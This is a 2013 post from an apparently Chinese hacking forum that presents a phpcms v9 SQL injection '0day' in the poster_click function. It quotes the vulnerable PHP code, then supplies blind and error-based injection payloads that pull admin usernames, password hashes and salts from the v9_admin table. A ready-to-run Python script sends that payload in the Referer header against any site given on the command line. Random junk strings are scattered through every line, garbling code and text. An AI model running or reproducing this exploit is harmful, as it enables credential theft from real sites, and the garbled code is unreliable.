找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2448|回复: 0
打印 上一主题 下一主题

phpcms post_click注入0day利用代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:01:00 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:% O2 l  t+ u. p+ F* y

: ^9 ^$ c* [7 T; ?' Z, B问题函数\phpcms\modules\poster\index.php1 s) ?$ S/ K$ t! c/ ~
3 D+ X" [$ y0 Z9 G( Z
public function poster_click() {
4 V: S9 k5 t1 ?# v8 {) g5 k$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
( H8 `0 a; u$ P- n! o, y+ h8 q$r = $this->db->get_one(array('id'=>$id));. f. O- t( \* t
if (!is_array($r) && empty($r)) return false;, C8 r' f5 L$ x8 \, n* `# n
$ip_area = pc_base::load_sys_class('ip_area');" W0 c9 j4 o0 z8 d; ^8 m6 A0 a
$ip = ip();
: t& k: k0 i( Q2 m$area = $ip_area->get($ip);
+ j5 J, V& L) F* `( o) K$username = param::get_cookie('username') ? param::get_cookie('username') : '';: n. G+ B  g( v4 c5 D5 T
if($id) {( [1 B5 c* o4 Q: w
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
6 F, g" t8 G1 B3 ~1 K% T$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
( `) O2 T7 G3 X+ Z0 a" J- U2 P8 w7 q}
: s9 v1 f' u; M( K$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
  f0 p  ^# O6 m0 G3 W2 s$setting = string2array($r['setting']);' ^+ t0 {+ z+ f3 F+ f2 Q
if (count($setting)==1) {, s! s4 e9 k7 ^5 v
$url = $setting['1']['linkurl'];4 }1 w& P2 m  x+ A* ~5 w
} else {* o' }0 l4 x9 b; i
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
' |. ^- w& t0 }2 P& }8 U3 c}3 P5 a5 j, [$ O, S
header('Location: '.$url);
2 ?# ]7 Z* `. K# m$ `}
/ G. K8 ?9 s7 y# }
, u8 a! R1 z6 d1 ^8 P6 U- p
: K' D( l' }4 p9 P) b- N
) O2 P0 z) r+ }" e/ P& l. ^利用方式:2 x& ]4 n* R" D" P- g
, d* z$ y# U8 F0 y  c" r
1、可以采用盲注入的手法:6 A% s: r. Q$ t

5 o6 o9 W# p; yreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#1 o1 m8 M( S* ]+ y2 j- [
/ Y' a- M. V8 S0 ]1 x4 W
通过返回页面,正常与否一个个猜解密码字段。: {! T) J5 k2 f" g
8 H) I, ]) O8 n2 Z' P9 k$ M
2、代码是花开写的,随手附上了:4 L/ F% V- T% i6 O" v1 a: b
! t' |! a- {2 p0 T8 c7 M
1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#( y) V7 h8 @# I8 A& G) V) }- |

) r3 T  p( t! b7 F; w+ ?此方法是爆错注入手法,原理自查。( j" }/ F! T% c
# _; e- }* @/ ~% e4 |, {# t5 M' m

+ Y/ W! j, ~% A# T+ g8 d" b1 B, U* D" b; @, u% j6 I
利用程序:
- I, U, a2 l- m  }0 m
# P  P, f+ m+ @' i#!/usr/bin/env python/ \8 A, n' c" T) M
import httplib,sys,re
" w" Q  h# _/ L& e! M, o0 p2 F% D- y* F) R' F0 R
def attack():
5 a3 _  Y) s( Dprint “Code by Pax.Mac Team conqu3r!”
: X: o* q2 R$ l% e; A! _2 Gprint “Welcome to our zone!!!”
5 c7 n' O' v% L/ ^9 t" K1 z" Wurl=sys.argv[1]" R, B* r) u9 Q+ F4 t* x1 h1 E' B' p
paths=sys.argv[2]
+ L6 h9 G- l5 @( b' Q) ?* qconn = httplib.HTTPConnection(url)3 O, X; g9 A2 X: J. V0 J
i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
7 j; {: P6 m  ], Z% S' P; V/ u% s“Accept”: “text/plain”,
! f7 r; _0 ^2 O; B: Y8 b“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
* K' Q, _: J+ J  O* v  zconn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)1 M0 w+ P8 m2 }* B& {8 A: Q. P
r1 = conn.getresponse()
  A  E: \1 t* w# L/ Kdatas=r1.read()0 t! x6 f- _# ^5 A2 O7 C
datas=re.findall(r”Duplicate entry \’\w+’”, datas)6 ~8 e1 |$ J& M& L8 l# s) R  U
print datas[0]
- a0 g* n0 R+ f: h8 ~conn.close()
1 ]; T+ p/ I; A. i7 \if __name__==”__main__”:8 Y* x+ \1 K8 @5 c2 h3 U: p( i
if len(sys.argv)<3:
+ U! X/ I% d) Z" g& vprint “Code by Pax.Mac Team conqu3r”: B# _  P" u& e3 a3 z
print “Usgae:”8 Q) v5 |5 o# }) Q% W
print “    phpcmsattack.py   www.paxmac.org /”# `$ h% V' C$ G- G3 D
print “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”7 ~2 m! I* a9 d# T' s- d
sys.exit(1)
. z" [9 ?' ^, s8 g5 oattack()
- A4 k& f+ I8 A' i
  g$ G. e  T# w4 O4 D
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表